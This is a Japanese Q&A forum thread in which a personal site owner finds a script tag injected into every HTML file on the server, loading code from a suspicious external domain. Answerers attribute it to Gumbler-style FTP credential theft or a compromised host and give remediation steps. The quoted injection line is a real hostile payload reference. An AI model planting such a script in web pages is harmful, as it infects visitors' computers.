コンピュータウイルスについて

質問

個人サイトを運営しているのですが、
先日そのサイトにアクセスしましたところ、Bloodhound.PDF.17 という名前のウイルスを検知しました。

なぜ自分のサイトにウイルスが入っているのかと思って色々調べてみますと、
どうやらサイトのすべてのhtmlファイルに怪しげなスクリプトが書き込まれていました。
サーバにアップしているhtmlファイルは膨大な量なのですが、
そのすべてに下記のスクリプトが書き込まれていました。

<script src=****://freevouchercodes.info/wp-admin/wp-rss2.php ></script>
（****の部分はhttpです。怪しいのでこのURLにはアクセスしないでください）

ファイルを転送する前の、ローカルフォルダに保存してあるhtmlにはそのようなスクリプトの記述はなく、
サーバ内のファイルにだけ記述されているという状況です。
そしてサイトにアクセスすれば何かファイルをDLさせるという仕組みのようです。

サーバはレンタルサーバを利用しており、転送ソフトはFFFTPというフリーソフトです。
レンタルサーバが原因なのか、転送ソフトが原因なのか、
あるいはこちらのパソコンにウィルスが感染していたせいなのかわかりません。
（一応スキャンしましたがパソコン内にウイルスは見つかりませんでした）。

サーバ内のhtmlファイルに勝手にスクリプトを書き込むというウイルスは存在するのでしょうか。
もしそうなら、原因はレンタルサーバか私のパソコンか、あるいは転送ソフトか、どこにあるのでしょうか。

詳しい方がいらっしゃれば対処法なども教えていただけませんか。
よろしくお願いします。

回答No.2

Lchan0211 · ベストアンサー

そのサイトは、Gumblerの攻撃を受けた可能性があり、
あなたのPCがGumblerに感染している可能性もあります。

Gumblerは、一旦沈静化していましたが、10末くらいから
亜種が発生し、ここ最近また感染が拡大しているそうです。
http://www.itmedia.co.jp/enterprise/articles/0910/23/news039.html

Gumblerの攻撃の仕組みは、
http://internet.watch.impress.co.jp/cda/news/2009/05/26/23558.html
にある、プロジェクタ投影資料がわかりやすいと思います。
ぜひ読んでください。

ここにある通り、一般ユーザが普通にWebサイトにアクセスするだけで、
PDFやFlashの脆弱性を利用してPCに感染します。

つい先日OSを再インストールしたとのことですが、
最新のWindowsUpdateと最新の各社パッチをちゃんと適用していますか?
(特に、Adobe ReaderとAdobe Flashは最新パッチを当てていますか?)
ウイルス対策ソフトも最新のデータにアップデートしていますか?
もしこれらの対策を実施していないなら、あなたのPCがGumblerに感染し、
あなたのPCからFTPパスワードが漏れた可能性があります。
(今まで問題なかった一般的なWebサイトにしかアクセスしていなくても、
もしそのWebサイトが最近Gamblerに感染したとしたら、それにアクセスする
だけで簡単にあなたのPCに感染します。)

すぐに上記の対策を実施した(最新パッチ,最新ウイルス対策適用)後、
・FTPパスワードを即刻変更し、
・改ざんWebサイトのファイルを復旧してください。
(必ずこの順番で実施してください。でないと、再度FTPパスワードを
盗まる可能性があります。また、元のFTPパスワードは既に盗まれているため、
FTPパスワードを変更するまで再書き換えは発生します。)

FTPパスワードがすぐに変更できないなら、即刻Webサイトのファイルを
削除してください。あなたのWebサイトが世界にウィルスをばらまいています。

お礼

サーバにアップロードしてあるhtmlファイルの更新日時を調べてみると
OSを再インストールした次の日に書き換えられていました。
こちらのパソコンがウイルスに感染してたならいったいいつのまに？ですね…

とりあえず一旦サイトのファイルはすべて削除し、
Lchan0211さんがおっしゃる通りFTPのパスワードは変更するようにします。
WindowsやAdobeは既に最新版にしていましたので大丈夫かと思います。

個人サイトのファイルまで書き換えるウイルスなんていたんですね…
国の重要機関とかそういうサイトだけのことかと思っていましたが。
役に立つ情報とアドバイス、ありがとうございました！

回答No.1

kadusaya

もしかして、↓と同じ？
http://oshiete1.goo.ne.jp/qa5461941.html

自分に原因が見つからなくて、パスワードもサーバー会社から指定されていて、同じレンタルサーバーだとしたら・・・、
確実にレンタルサーバーの会社が原因だよね。

不安感を掻き立てて申し訳ないけど、「HTMLの書き換え」 以外にも 「幼児ポルノの販売所」 にされている可能性もあるから気を付けてね。

お礼

ご紹介くださったページの質問を読んでみました。
私が使っているレンタルサーバもFTPのパスワードは指定のものです。
おそらく同じ会社ではないかと思います…

ということはレンタルサーバ側に問題がある可能性が大きいようですね。
私はパソコンはつい先日OSを再インストールし直してきれいにしたばかりなので
こちらがウイルスに感染している可能性は低いかと思います。
あとで一応、会社に問い合わせてみますね。

貴重な情報、ありがとうございました。